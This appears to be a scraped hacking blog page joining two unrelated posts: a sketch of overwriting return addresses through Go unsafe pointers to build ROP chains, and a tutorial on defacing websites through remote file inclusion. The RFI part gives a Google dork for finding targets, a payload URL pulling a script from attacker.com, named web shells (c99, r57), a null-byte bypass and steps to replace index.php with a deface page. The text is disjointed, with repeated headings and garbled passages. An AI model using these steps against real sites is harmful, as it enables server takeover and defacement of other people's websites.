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safwanmohamad

There are situations when c interacts with golang for example in a library, and its possible to exploit a golang function writing raw memory using an unsafe.Pointer() parameter.

When golang receive a null terminated string on a *C.Char parameter, can be converted to golang s tring with s2 := C.GoString(s1) we can do string operations with s2 safelly if the null byte is there.

When golang receives a pointer to a buffer on an unsafe.Pointer() and the length of the buffer on a C.int, if the length is not cheated can be converted to a []byte safelly with b := C.GoBytes(buf,sz)

Buuut what happens if golang receives a pointer to a buffer on an unsafe.Pointer() and is an OUT variable? the golang routine has to write on this pointer unsafelly for example we can create a golangs memcpy in the following way:

We convert to uintptr for indexing the pointer and then convert again to pointer casted to a byte pointer dereferenced and every byte is writed in this way.

If b is controlled, the memory can be written and the return pointer of main.main or whatever function can be modified.

https://play.golang.org/p/HppcVpLfuMf

The return addres can be pinpointed, for example 0x41 buffer 0x42 address:

We can reproduce it simulating the buffer from golang in this way:

we can dump the address of a function and redirect the execution to it:

https://play.golang.org/p/7htJHJp8gUJ

In this way it's possible to build a rop chain using golang runtime to unprotect a shellcode.

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Minda Berkuasa!

Wednesday, May 31, 2023

Exploiting Golang Unsafe Pointers

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HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

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